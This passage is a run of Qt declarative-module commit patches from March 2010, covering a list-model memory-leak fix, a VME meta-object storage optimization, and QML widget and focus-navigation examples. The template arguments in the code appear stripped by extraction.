Lam Date: Thu, 25 Mar 2010 15:49:27 +1000 Subject: Fix memory leak and clean up deletion. --- src/declarative/util/qdeclarativelistmodel.cpp | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/src/declarative/util/qdeclarativelistmodel.cpp b/src/declarative/util/qdeclarativelistmodel.cpp index 3904458..1a28176 100644 --- a/src/declarative/util/qdeclarativelistmodel.cpp +++ b/src/declarative/util/qdeclarativelistmodel.cpp @@ -1250,14 +1250,9 @@ ModelNode::ModelNode() ModelNode::~ModelNode() { - ModelNode *node; - - QList nodeValues = properties.values(); - for (int ii = 0; ii < nodeValues.count(); ++ii) { - node = nodeValues[ii]; - if (node) { delete node; node = 0; } - } + qDeleteAll(properties.values()); + ModelNode *node; for (int ii = 0; ii < values.count(); ++ii) { node = qvariant_cast(values.at(ii)); if (node) { delete node; node = 0; } @@ -1279,7 +1274,9 @@ void ModelNode::setObjectValue(const QScriptValue& valuemap) { } else { value->values << v.toVariant(); } - properties.insert(it.name(),value); + if (properties.contains(it.name())) + delete properties[it.name()]; + properties.insert(it.name(), value); } } -- cgit v0.12 From cc4a21c61d6d68ce49c2b8755e0edfb9571a0306 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Mon, 29 Mar 2010 12:50:51 +1000 Subject: Add missing pro file. --- tests/auto/declarative/qmlvisual/qmlvisual.pro | 7 +++++++ 1 file changed, 7 insertions(+) create mode 100644 tests/auto/declarative/qmlvisual/qmlvisual.pro diff --git a/tests/auto/declarative/qmlvisual/qmlvisual.pro b/tests/auto/declarative/qmlvisual/qmlvisual.pro new file mode 100644 index 0000000..f2b3bca --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qmlvisual.pro @@ -0,0 +1,7 @@ +load(qttest_p4) +contains(QT_CONFIG,declarative): QT += declarative +macx:CONFIG -= app_bundle + +SOURCES += tst_qmlvisual.cpp + +DEFINES += QT_TEST_SOURCE_DIR=\"\\\"$$PWD\\\"\" -- cgit v0.12 From eac3500387fcd966e936cbe16b75db6cf9df3abe Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Mon, 29 Mar 2010 13:07:29 +1000 Subject: Optimization: Don't use QVariant in QDeclarativeVMEMetaObject --- src/declarative/qml/qdeclarativevmemetaobject.cpp | 430 +++++++++++++++++++-- src/declarative/qml/qdeclarativevmemetaobject_p.h | 15 +- .../qmltime/tests/vmemetaobject/null.qml | 13 + .../qmltime/tests/vmemetaobject/property.qml | 18 + 4 files changed, 447 insertions(+), 29 deletions(-) create mode 100644 tests/benchmarks/declarative/qmltime/tests/vmemetaobject/null.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/vmemetaobject/property.qml diff --git a/src/declarative/qml/qdeclarativevmemetaobject.cpp b/src/declarative/qml/qdeclarativevmemetaobject.cpp index f9c99ee..7a08a2c 100644 --- a/src/declarative/qml/qdeclarativevmemetaobject.cpp +++ b/src/declarative/qml/qdeclarativevmemetaobject.cpp @@ -47,19 +47,316 @@ #include "qdeclarativeexpression_p.h" #include "qdeclarativecontext_p.h" -#include -#include -#include -#include +Q_DECLARE_METATYPE(QScriptValue); QT_BEGIN_NAMESPACE +class QDeclarativeVMEVariant +{ +public: + inline QDeclarativeVMEVariant(); + inline ~QDeclarativeVMEVariant(); + + inline const void *dataPtr() const; + inline void *dataPtr(); + inline int dataType() const; + + inline QObject *asQObject(); + inline const QVariant &asQVariant(); + inline int asInt(); + inline bool asBool(); + inline double asDouble(); + inline const QString &asQString(); + inline const QUrl &asQUrl(); + inline const QColor &asQColor(); + inline const QDate &asQDate(); + inline const QDateTime &asQDateTime(); + inline const QScriptValue &asQScriptValue(); + + inline void setValue(QObject *); + inline void setValue(const QVariant &); + inline void setValue(int); + inline void setValue(bool); + inline void setValue(double); + inline void setValue(const QString &); + inline void setValue(const QUrl &); + inline void setValue(const QColor &); + inline void setValue(const QDate &); + inline void setValue(const QDateTime &); + inline void setValue(const QScriptValue &); + +private: + int type; + void *data[4]; // Large enough to hold all types + + inline void cleanup(); +}; + +QDeclarativeVMEVariant::QDeclarativeVMEVariant() +: type(QVariant::Invalid) +{ +} + +QDeclarativeVMEVariant::~QDeclarativeVMEVariant() +{ + cleanup(); +} + +void QDeclarativeVMEVariant::cleanup() +{ + if (type == QVariant::Invalid) { + } else if (type == QMetaType::QObjectStar || + type == QMetaType::Int || + type == QMetaType::Bool || + type == QMetaType::Double) { + type = QVariant::Invalid; + } else if (type == QMetaType::QString) { + ((QString *)dataPtr())->~QString(); + type = QVariant::Invalid; + } else if (type == QMetaType::QUrl) { + ((QUrl *)dataPtr())->~QUrl(); + type = QVariant::Invalid; + } else if (type == QMetaType::QColor) { + ((QColor *)dataPtr())->~QColor(); + type = QVariant::Invalid; + } else if (type == QMetaType::QDate) { + ((QDate *)dataPtr())->~QDate(); + type = QVariant::Invalid; + } else if (type == QMetaType::QDateTime) { + ((QDateTime *)dataPtr())->~QDateTime(); + type = QVariant::Invalid; + } else if (type == qMetaTypeId()) { + ((QVariant *)dataPtr())->~QVariant(); + type = QVariant::Invalid; + } else if (type == qMetaTypeId()) { + ((QScriptValue *)dataPtr())->~QScriptValue(); + type = QVariant::Invalid; + } + +} + +int QDeclarativeVMEVariant::dataType() const +{ + return type; +} + +const void *QDeclarativeVMEVariant::dataPtr() const +{ + return &data; +} + +void *QDeclarativeVMEVariant::dataPtr() +{ + return &data; +} + +QObject *QDeclarativeVMEVariant::asQObject() +{ + if (type != QMetaType::QObjectStar) + setValue((QObject *)0); + + return *(QObject **)(dataPtr()); +} + +const QVariant &QDeclarativeVMEVariant::asQVariant() +{ + if (type != QMetaType::QVariant) + setValue(QVariant()); + + return *(QVariant *)(dataPtr()); +} + +int QDeclarativeVMEVariant::asInt() +{ + if (type != QMetaType::Int) + setValue(int(0)); + + return *(int *)(dataPtr()); +} + +bool QDeclarativeVMEVariant::asBool() +{ + if (type != QMetaType::Bool) + setValue(bool(false)); + + return *(bool *)(dataPtr()); +} + +double QDeclarativeVMEVariant::asDouble() +{ + if (type != QMetaType::Double) + setValue(double(0)); + + return *(double *)(dataPtr()); +} + +const QString &QDeclarativeVMEVariant::asQString() +{ + if (type != QMetaType::QString) + setValue(QString()); + + return *(QString *)(dataPtr()); +} + +const QUrl &QDeclarativeVMEVariant::asQUrl() +{ + if (type != QMetaType::QUrl) + setValue(QUrl()); + + return *(QUrl *)(dataPtr()); +} + +const QColor &QDeclarativeVMEVariant::asQColor() +{ + if (type != QMetaType::QColor) + setValue(QColor()); + + return *(QColor *)(dataPtr()); +} + +const QDate &QDeclarativeVMEVariant::asQDate() +{ + if (type != QMetaType::QDate) + setValue(QDate()); + + return *(QDate *)(dataPtr()); +} + +const QDateTime &QDeclarativeVMEVariant::asQDateTime() +{ + if (type != QMetaType::QDateTime) + setValue(QDateTime()); + + return *(QDateTime *)(dataPtr()); +} + +const QScriptValue &QDeclarativeVMEVariant::asQScriptValue() +{ + if (type != qMetaTypeId()) + setValue(QScriptValue()); + + return *(QScriptValue *)(dataPtr()); +} + +void QDeclarativeVMEVariant::setValue(QObject *v) +{ + if (type != QMetaType::QObjectStar) { + cleanup(); + type = QMetaType::QObjectStar; + } + *(QObject **)(dataPtr()) = v; +} + +void QDeclarativeVMEVariant::setValue(const QVariant &v) +{ + if (type != qMetaTypeId()) { + cleanup(); + type = qMetaTypeId(); + new (dataPtr()) QVariant(v); + } else { + *(QVariant *)(dataPtr()) = v; + } +} + +void QDeclarativeVMEVariant::setValue(int v) +{ + if (type != QMetaType::Int) { + cleanup(); + type = QMetaType::Int; + } + *(int *)(dataPtr()) = v; +} + +void QDeclarativeVMEVariant::setValue(bool v) +{ + if (type != QMetaType::Bool) { + cleanup(); + type = QMetaType::Bool; + } + *(bool *)(dataPtr()) = v; +} + +void QDeclarativeVMEVariant::setValue(double v) +{ + if (type != QMetaType::Double) { + cleanup(); + type = QMetaType::Double; + } + *(double *)(dataPtr()) = v; +} + +void QDeclarativeVMEVariant::setValue(const QString &v) +{ + if (type != QMetaType::QString) { + cleanup(); + type = QMetaType::QString; + new (dataPtr()) QString(v); + } else { + *(QString *)(dataPtr()) = v; + } +} + +void QDeclarativeVMEVariant::setValue(const QUrl &v) +{ + if (type != QMetaType::QUrl) { + cleanup(); + type = QMetaType::QUrl; + new (dataPtr()) QUrl(v); + } else { + *(QUrl *)(dataPtr()) = v; + } +} + +void QDeclarativeVMEVariant::setValue(const QColor &v) +{ + if (type != QMetaType::QColor) { + cleanup(); + type = QMetaType::QColor; + new (dataPtr()) QColor(v); + } else { + *(QColor *)(dataPtr()) = v; + } +} + +void QDeclarativeVMEVariant::setValue(const QDate &v) +{ + if (type != QMetaType::QDate) { + cleanup(); + type = QMetaType::QDate; + new (dataPtr()) QDate(v); + } else { + *(QDate *)(dataPtr()) = v; + } +} + +void QDeclarativeVMEVariant::setValue(const QDateTime &v) +{ + if (type != QMetaType::QDateTime) { + cleanup(); + type = QMetaType::QDateTime; + new (dataPtr()) QDateTime(v); + } else { + *(QDateTime *)(dataPtr()) = v; + } +} + +void QDeclarativeVMEVariant::setValue(const QScriptValue &v) +{ + if (type != qMetaTypeId()) { + cleanup(); + type = qMetaTypeId(); + new (dataPtr()) QScriptValue(v); + } else { + *(QScriptValue *)(dataPtr()) = v; + } +} + QDeclarativeVMEMetaObject::QDeclarativeVMEMetaObject(QObject *obj, const QMetaObject *other, const QDeclarativeVMEMetaData *meta, QDeclarativeCompiledData *cdata) : object(obj), compiledData(cdata), ctxt(QDeclarativeDeclarativeData::get(obj)->outerContext), - metaData(meta), methods(0), parent(0) + metaData(meta), data(0), methods(0), parent(0) { compiledData->addref(); @@ -74,20 +371,17 @@ QDeclarativeVMEMetaObject::QDeclarativeVMEMetaObject(QObject *obj, propOffset = QAbstractDynamicMetaObject::propertyOffset(); methodOffset = QAbstractDynamicMetaObject::methodOffset(); - data = new QVariant[metaData->propertyCount]; + data = new QDeclarativeVMEVariant[metaData->propertyCount]; aConnected.resize(metaData->aliasCount); - int list_type = qMetaTypeId >(); + // ### Optimize for (int ii = 0; ii < metaData->propertyCount; ++ii) { int t = (metaData->propertyData() + ii)->propertyType; if (t == list_type) { listProperties.append(new List(methodOffset + ii)); - data[ii] = QVariant::fromValue(QDeclarativeListProperty(obj, listProperties.last(), list_append, - list_count, list_at, list_clear)); - } else if (t != -1) { - data[ii] = QVariant((QVariant::Type)t); - } + data[ii].setValue(listProperties.count() - 1); + } } } @@ -145,11 +439,10 @@ int QDeclarativeVMEMetaObject::metaCall(QMetaObject::Call c, int _id, void **a) if (t == -1) { if (c == QMetaObject::ReadProperty) { - *reinterpret_cast(a[0]) = data[id]; + *reinterpret_cast(a[0]) = readVarPropertyAsVariant(id); } else if (c == QMetaObject::WriteProperty) { - needActivate = - (data[id] != *reinterpret_cast(a[0])); - data[id] = *reinterpret_cast(a[0]); + needActivate = (data[id].asQVariant() != *reinterpret_cast(a[0])); + data[id].setValue(*reinterpret_cast(a[0])); } } else { @@ -157,42 +450,83 @@ int QDeclarativeVMEMetaObject::metaCall(QMetaObject::Call c, int _id, void **a) if (c == QMetaObject::ReadProperty) { switch(t) { case QVariant::Int: - *reinterpret_cast(a[0]) = data[id].toInt(); + *reinterpret_cast(a[0]) = data[id].asInt(); break; case QVariant::Bool: - *reinterpret_cast(a[0]) = data[id].toBool(); + *reinterpret_cast(a[0]) = data[id].asBool(); break; case QVariant::Double: - *reinterpret_cast(a[0]) = data[id].toDouble(); + *reinterpret_cast(a[0]) = data[id].asDouble(); break; case QVariant::String: - *reinterpret_cast(a[0]) = data[id].toString(); + *reinterpret_cast(a[0]) = data[id].asQString(); break; case QVariant::Url: - *reinterpret_cast(a[0]) = data[id].toUrl(); + *reinterpret_cast(a[0]) = data[id].asQUrl(); break; case QVariant::Color: - *reinterpret_cast(a[0]) = data[id].value(); + *reinterpret_cast(a[0]) = data[id].asQColor(); break; case QVariant::Date: - *reinterpret_cast(a[0]) = data[id].toDate(); + *reinterpret_cast(a[0]) = data[id].asQDate(); + break; + case QVariant::DateTime: + *reinterpret_cast(a[0]) = data[id].asQDateTime(); break; case QMetaType::QObjectStar: - *reinterpret_cast(a[0]) = data[id].value(); + *reinterpret_cast(a[0]) = data[id].asQObject(); break; default: break; } if (t == qMetaTypeId >()) { *reinterpret_cast *>(a[0]) = - data[id].value >(); + QDeclarativeListProperty(object, (void *)&listProperties.at(data[id].asInt()), + list_append, list_count, list_at, list_clear); } } else if (c == QMetaObject::WriteProperty) { - QVariant value = QVariant((QVariant::Type)data[id].type(), a[0]); - needActivate = (data[id] != value); - data[id] = value; + switch(t) { + case QVariant::Int: + needActivate = *reinterpret_cast(a[0]) != data[id].asInt(); + data[id].setValue(*reinterpret_cast(a[0])); + break; + case QVariant::Bool: + needActivate = *reinterpret_cast(a[0]) != data[id].asBool(); + data[id].setValue(*reinterpret_cast(a[0])); + break; + case QVariant::Double: + needActivate = *reinterpret_cast(a[0]) != data[id].asDouble(); + data[id].setValue(*reinterpret_cast(a[0])); + break; + case QVariant::String: + needActivate = *reinterpret_cast(a[0]) != data[id].asQString(); + data[id].setValue(*reinterpret_cast(a[0])); + break; + case QVariant::Url: + needActivate = *reinterpret_cast(a[0]) != data[id].asQUrl(); + data[id].setValue(*reinterpret_cast(a[0])); + break; + case QVariant::Color: + needActivate = *reinterpret_cast(a[0]) != data[id].asQColor(); + data[id].setValue(*reinterpret_cast(a[0])); + break; + case QVariant::Date: + needActivate = *reinterpret_cast(a[0]) != data[id].asQDate(); + data[id].setValue(*reinterpret_cast(a[0])); + break; + case QVariant::DateTime: + needActivate = *reinterpret_cast(a[0]) != data[id].asQDateTime(); + data[id].setValue(*reinterpret_cast(a[0])); + break; + case QMetaType::QObjectStar: + needActivate = *reinterpret_cast(a[0]) != data[id].asQObject(); + data[id].setValue(*reinterpret_cast(a[0])); + break; + default: + break; + } } } @@ -316,6 +650,28 @@ QScriptValue QDeclarativeVMEMetaObject::method(int index) return methods[index]; } +QScriptValue QDeclarativeVMEMetaObject::readVarProperty(int id) +{ + if (data[id].dataType() == qMetaTypeId()) + return data[id].asQScriptValue(); + else + return QDeclarativeEnginePrivate::get(ctxt->engine)->scriptValueFromVariant(data[id].asQVariant()); +} + +QVariant QDeclarativeVMEMetaObject::readVarPropertyAsVariant(int id) +{ + if (data[id].dataType() == qMetaTypeId()) + return QDeclarativeEnginePrivate::get(ctxt->engine)->scriptValueToVariant(data[id].asQScriptValue()); + else + return data[id].asQVariant(); +} + +void QDeclarativeVMEMetaObject::writeVarProperty(int id, const QScriptValue &value) +{ + data[id].setValue(value); + activate(object, methodOffset + id, 0); +} + void QDeclarativeVMEMetaObject::listChanged(int id) { activate(object, methodOffset + id, 0); @@ -364,4 +720,22 @@ QScriptValue QDeclarativeVMEMetaObject::vmeMethod(int index) return method(index - methodOffset - plainSignals); } +QScriptValue QDeclarativeVMEMetaObject::vmeProperty(int index) +{ + if (index < propOffset) { + Q_ASSERT(parent); + return static_cast(parent)->vmeProperty(index); + } + return readVarProperty(index - propOffset); +} + +void QDeclarativeVMEMetaObject::setVMEProperty(int index, const QScriptValue &v) +{ + if (index < propOffset) { + Q_ASSERT(parent); + static_cast(parent)->setVMEProperty(index, v); + } + return writeVarProperty(index - propOffset, v); +} + QT_END_NAMESPACE diff --git a/src/declarative/qml/qdeclarativevmemetaobject_p.h b/src/declarative/qml/qdeclarativevmemetaobject_p.h index e11f6fa..4718fa7 100644 --- a/src/declarative/qml/qdeclarativevmemetaobject_p.h +++ b/src/declarative/qml/qdeclarativevmemetaobject_p.h @@ -58,6 +58,10 @@ #include #include #include +#include +#include +#include +#include #include @@ -106,6 +110,7 @@ struct QDeclarativeVMEMetaData } }; +class QDeclarativeVMEVariant; class QDeclarativeRefCount; class QDeclarativeVMEMetaObject : public QAbstractDynamicMetaObject { @@ -116,6 +121,9 @@ public: void registerInterceptor(int index, int valueIndex, QDeclarativePropertyValueInterceptor *interceptor); QScriptValue vmeMethod(int index); + QScriptValue vmeProperty(int index); + void setVMEProperty(int index, const QScriptValue &); + protected: virtual int metaCall(QMetaObject::Call _c, int _id, void **_a); @@ -128,7 +136,8 @@ private: int propOffset; int methodOffset; - QVariant *data; + QDeclarativeVMEVariant *data; + QBitArray aConnected; QBitArray aInterceptors; QHash > interceptors; @@ -136,6 +145,10 @@ private: QScriptValue *methods; QScriptValue method(int); + QScriptValue readVarProperty(int); + QVariant readVarPropertyAsVariant(int); + void writeVarProperty(int, const QScriptValue &); + QAbstractDynamicMetaObject *parent; void listChanged(int); diff --git a/tests/benchmarks/declarative/qmltime/tests/vmemetaobject/null.qml b/tests/benchmarks/declarative/qmltime/tests/vmemetaobject/null.qml new file mode 100644 index 0000000..a31af5a --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/vmemetaobject/null.qml @@ -0,0 +1,13 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + QtObject { + } + } + } + +} diff --git a/tests/benchmarks/declarative/qmltime/tests/vmemetaobject/property.qml b/tests/benchmarks/declarative/qmltime/tests/vmemetaobject/property.qml new file mode 100644 index 0000000..007d12a --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/vmemetaobject/property.qml @@ -0,0 +1,18 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + QtObject { + property string s + property string s2 + property string s3 + property string s4 + } + } + } + +} + -- cgit v0.12 From 373e3915ca223dcb7c2d59d300e16b7981111500 Mon Sep 17 00:00:00 2001 From: Yann Bodson Date: Mon, 29 Mar 2010 11:42:05 +1000 Subject: Add example on how to use Qt widgets in qml. --- examples/declarative/widgets/MyWidgets/qmldir | 1 + examples/declarative/widgets/mywidgets.cpp | 99 +++++++++++++++++++++++++++ examples/declarative/widgets/mywidgets.pro | 19 +++++ examples/declarative/widgets/mywidgets.qml | 53 ++++++++++++++ 4 files changed, 172 insertions(+) create mode 100644 examples/declarative/widgets/MyWidgets/qmldir create mode 100644 examples/declarative/widgets/mywidgets.cpp create mode 100644 examples/declarative/widgets/mywidgets.pro create mode 100644 examples/declarative/widgets/mywidgets.qml diff --git a/examples/declarative/widgets/MyWidgets/qmldir b/examples/declarative/widgets/MyWidgets/qmldir new file mode 100644 index 0000000..dc1d10e --- /dev/null +++ b/examples/declarative/widgets/MyWidgets/qmldir @@ -0,0 +1 @@ +plugin mywidgetsplugin diff --git a/examples/declarative/widgets/mywidgets.cpp b/examples/declarative/widgets/mywidgets.cpp new file mode 100644 index 0000000..e17240d --- /dev/null +++ b/examples/declarative/widgets/mywidgets.cpp @@ -0,0 +1,99 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the examples of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include +#include +#include +#include +#include + +class MyPushButton : public QGraphicsProxyWidget +{ + Q_OBJECT + Q_PROPERTY(QString text READ text WRITE setText NOTIFY textChanged) + +public: + MyPushButton(QGraphicsItem* parent = 0) + : QGraphicsProxyWidget(parent) + { + widget = new QPushButton("MyPushButton"); + widget->setAttribute(Qt::WA_NoSystemBackground); + setWidget(widget); + + QObject::connect(widget, SIGNAL(clicked(bool)), this, SIGNAL(clicked(bool))); + } + + QString text() const + { + return widget->text(); + } + + void setText(const QString& text) + { + if (text != widget->text()) { + widget->setText(text); + emit textChanged(); + } + } + +Q_SIGNALS: + void clicked(bool); + void textChanged(); + +private: + QPushButton *widget; +}; + +class MyWidgetsPlugin : public QDeclarativeExtensionPlugin +{ + Q_OBJECT +public: + void registerTypes(const char *uri) + { + qmlRegisterType(uri, 1, 0, "MyPushButton"); + } +}; + +#include "mywidgets.moc" + +QML_DECLARE_TYPE(MyPushButton) + +Q_EXPORT_PLUGIN2(mywidgetsplugin, MyWidgetsPlugin); diff --git a/examples/declarative/widgets/mywidgets.pro b/examples/declarative/widgets/mywidgets.pro new file mode 100644 index 0000000..258edb1 --- /dev/null +++ b/examples/declarative/widgets/mywidgets.pro @@ -0,0 +1,19 @@ +TEMPLATE = lib +DESTDIR = MyWidgets +TARGET = mywidgetsplugin +CONFIG += qt plugin +QT += declarative +VERSION = 1.0.0 + +SOURCES += mywidgets.cpp + +sources.files += mywidgets.pro mywidgets.cpp mywidgets.qml + +sources.path += $$[QT_INSTALL_EXAMPLES]/declarative/plugins + +target.path += $$[QT_INSTALL_EXAMPLES]/declarative/plugins + +INSTALLS += sources target + +symbian: include($$QT_SOURCE_TREE/examples/symbianpkgrules.pri) + diff --git a/examples/declarative/widgets/mywidgets.qml b/examples/declarative/widgets/mywidgets.qml new file mode 100644 index 0000000..b1efed4 --- /dev/null +++ b/examples/declarative/widgets/mywidgets.qml @@ -0,0 +1,53 @@ +import Qt 4.6 +import "MyWidgets" 1.0 + +Rectangle { + id: window + width: 640; height: 480; color: palette.window + + property int margin: 30 + + SystemPalette { id: palette } + + MyPushButton { + id: button1; x: margin; y: margin; text: "Right"; onClicked: window.state = "right" + transformOriginPoint: Qt.point(width / 2, height / 2) + } + + MyPushButton { + id: button2; x: margin; y: margin + 30; text: "Bottom"; onClicked: window.state = "bottom" + transformOriginPoint: Qt.point(width / 2, height / 2) + } + + MyPushButton { + id: button3; x: margin; y: margin + 60; text: "Quit"; onClicked: Qt.quit() + transformOriginPoint: Qt.point(width / 2, height / 2) + } + + states: [ + State { + name: "right" + PropertyChanges { target: button1; x: window.width - width - margin; text: "Left"; onClicked: window.state = "" } + PropertyChanges { target: button2; x: window.width - width - margin } + PropertyChanges { target: button3; x: window.width - width - margin } + PropertyChanges { target: window; color: Qt.darker(palette.window) } + }, + State { + name: "bottom" + PropertyChanges { target: button1; y: window.height - height - margin; rotation: 180 } + PropertyChanges { + target: button2; x: button1.x + button1.width + 10; y: window.height - height - margin; rotation: 180 + text: "Top"; onClicked: window.state = "" + } + PropertyChanges { target: button3; x: button2.x + button2.width + 10; y: window.height - height - margin; rotation: 180 } + PropertyChanges { target: window; color: Qt.lighter(palette.window) } + } + ] + + transitions: Transition { + ParallelAnimation { + NumberAnimation { properties: "x,y,rotation"; duration: 600; easing.type: "OutQuad" } + ColorAnimation { target: window; duration: 600 } + } + } +} -- cgit v0.12 From 0f39158778ad3a7deb96303596f7b365802ffb5d Mon Sep 17 00:00:00 2001 From: Yann Bodson Date: Mon, 29 Mar 2010 13:32:27 +1000 Subject: Add focus and key navigation example. --- examples/declarative/focus/Core/ContextMenu.qml | 15 ++++++ examples/declarative/focus/Core/GridMenu.qml | 54 +++++++++++++++++++++ .../declarative/focus/Core/ListViewDelegate.qml | 39 +++++++++++++++ examples/declarative/focus/Core/ListViews.qml | 47 ++++++++++++++++++ examples/declarative/focus/Core/images/arrow.png | Bin 0 -> 583 bytes examples/declarative/focus/Core/images/qt-logo.png | Bin 0 -> 5149 bytes examples/declarative/focus/Core/qmldir | 4 ++ examples/declarative/focus/focus.qml | 50 +++++++++++++++++++ 8 files changed, 209 insertions(+) create mode 100644 examples/declarative/focus/Core/ContextMenu.qml create mode 100644 examples/declarative/focus/Core/GridMenu.qml create mode 100644 examples/declarative/focus/Core/ListViewDelegate.qml create mode 100644 examples/declarative/focus/Core/ListViews.qml create mode 100644 examples/declarative/focus/Core/images/arrow.png create mode 100644 examples/declarative/focus/Core/images/qt-logo.png create mode 100644 examples/declarative/focus/Core/qmldir create mode 100644 examples/declarative/focus/focus.qml diff --git a/examples/declarative/focus/Core/ContextMenu.qml b/examples/declarative/focus/Core/ContextMenu.qml new file mode 100644 index 0000000..bd6d8a2 --- /dev/null +++ b/examples/declarative/focus/Core/ContextMenu.qml @@ -0,0 +1,15 @@ +import Qt 4.6 + +FocusScope { + id: container + property bool open: false + + Item { + anchors.fill: parent + + Rectangle { + anchors.fill: parent; color: "#D1DBBD"; focus: true + Keys.onRightPressed: mainView.focus = true + } + } +} diff --git a/examples/declarative/focus/Core/GridMenu.qml b/examples/declarative/focus/Core/GridMenu.qml new file mode 100644 index 0000000..03d837a --- /dev/null +++ b/examples/declarative/focus/Core/GridMenu.qml @@ -0,0 +1,54 @@ +import Qt 4.6 + +FocusScope { + property alias interactive: gridView.interactive + + onWantsFocusChanged: if (wantsFocus) mainView.state = "" + + Rectangle { + clip: true; anchors.fill: parent + gradient: Gradient { + GradientStop { position: 0.0; color: "#193441" } + GradientStop { position: 1.0; color: Qt.darker("#193441") } + } + + GridView { + id: gridView; cellWidth: 152; cellHeight: 152; focus: true + x: 20; width: parent.width - 40; height: parent.height + model: 12 + KeyNavigation.down: listViews + KeyNavigation.left: contextMenu + + delegate: Item { + id: container; width: GridView.view.cellWidth; height: GridView.view.cellHeight + + Rectangle { + id: content + color: "transparent"; smooth: true + anchors.centerIn: parent; width: container.width - 40; height: container.height - 40; radius: 10 + Rectangle { color: "#91AA9D"; x: 3; y: 3; width: parent.width - 6; height: parent.height - 6; radius: 8 } + Image { source: "images/qt-logo.png"; anchors.centerIn: parent; smooth: true } + } + + MouseArea { + id: mouseArea; anchors.fill: parent; hoverEnabled: true + onClicked: { + GridView.view.currentIndex = index + container.focus = true + gridMenu.focus = true + mainView.focus = true + } + } + + states: State { + name: "active"; when: container.focus == true + PropertyChanges { target: content; color: "#FCFFF5"; scale: 1.1 } + } + + transitions: Transition { + NumberAnimation { properties: "scale"; duration: 100 } + } + } + } + } +} diff --git a/examples/declarative/focus/Core/ListViewDelegate.qml b/examples/declarative/focus/Core/ListViewDelegate.qml new file mode 100644 index 0000000..b7e067a --- /dev/null +++ b/examples/declarative/focus/Core/ListViewDelegate.qml @@ -0,0 +1,39 @@ +import Qt 4.6 + +Component { + Item { + id: container + x: 5; width: ListView.view.width - 10; height: 60 + + Rectangle { + id: content + color: "transparent"; smooth: true + anchors.centerIn: parent; width: container.width - 40; height: container.height - 10; radius: 10 + Rectangle { color: "#91AA9D"; x: 3; y: 3; width: parent.width - 6; height: parent.height - 6; radius: 8 } + Text { + text: "List element " + (index + 1); color: "#193441"; font.bold: false; anchors.centerIn: parent + font.pixelSize: 14 + } + } + + MouseArea { + id: mouseArea; anchors.fill: parent; hoverEnabled: true + onClicked: { + ListView.view.currentIndex = index + container.focus = true + ListView.view.focus = true + listViews.focus = true + mainView.focus = true + } + } + + states: State { + name: "active"; when: container.focus == true + PropertyChanges { target: content; color: "#FCFFF5"; scale: 1.1 } + } + + transitions: Transition { + NumberAnimation { properties: "scale"; duration: 100 } + } + } +} diff --git a/examples/declarative/focus/Core/ListViews.qml b/examples/declarative/focus/Core/ListViews.qml new file mode 100644 index 0000000..3cc4836 --- /dev/null +++ b/examples/declarative/focus/Core/ListViews.qml @@ -0,0 +1,47 @@ +import Qt 4.6 + +FocusScope { + clip: true + + onWantsFocusChanged: if (wantsFocus) mainView.state = "showListViews" + + ListView { + id: list1 + delegate: ListViewDelegate {} + y: wantsFocus ? 10 : 40; focus: true; width: parent.width / 3; height: parent.height - 20 + model: 10; KeyNavigation.up: gridMenu; KeyNavigation.left: contextMenu; KeyNavigation.right: list2 + Behavior on y { NumberAnimation { duration: 600; easing.type: "OutQuint" } } + } + + ListView { + id: list2 + delegate: ListViewDelegate {} + y: wantsFocus ? 10 : 40; x: parent.width / 3; width: parent.width / 3; height: parent.height - 20 + model: 10; KeyNavigation.up: gridMenu; KeyNavigation.left: list1; KeyNavigation.right: list3 + Behavior on y { NumberAnimation { duration: 600; easing.type: "OutQuint" } } + } + + ListView { + id: list3 + delegate: ListViewDelegate {} + y: wantsFocus ? 10 : 40; x: 2 * parent.width / 3; width: parent.width / 3; height: parent.height - 20 + model: 10; KeyNavigation.up: gridMenu; KeyNavigation.left: list2 + Behavior on y { NumberAnimation { duration: 600; easing.type: "OutQuint" } } + } + + Rectangle { width: parent.width; height: 1; color: "#D1DBBD" } + Rectangle { + y: 1; width: parent.width; height: 10 + gradient: Gradient { + GradientStop { position: 0.0; color: "#3E606F" } + GradientStop { position: 1.0; color: "transparent" } + } + } + Rectangle { + y: parent.height - 10; width: parent.width; height: 10 + gradient: Gradient { + GradientStop { position: 1.0; color: "#3E606F" } + GradientStop { position: 0.0; color: "transparent" } + } + } +} diff --git a/examples/declarative/focus/Core/images/arrow.png b/examples/declarative/focus/Core/images/arrow.png new file mode 100644 index 0000000..14978c2 Binary files /dev/null and b/examples/declarative/focus/Core/images/arrow.png differ diff --git a/examples/declarative/focus/Core/images/qt-logo.png b/examples/declarative/focus/Core/images/qt-logo.png new file mode 100644 index 0000000..14ddf2a Binary files /dev/null and b/examples/declarative/focus/Core/images/qt-logo.png differ diff --git a/examples/declarative/focus/Core/qmldir b/examples/declarative/focus/Core/qmldir new file mode 100644 index 0000000..0460d9c --- /dev/null +++ b/examples/declarative/focus/Core/qmldir @@ -0,0 +1,4 @@ +ContextMenu ContextMenu.qml +GridMenu GridMenu.qml +ListViews 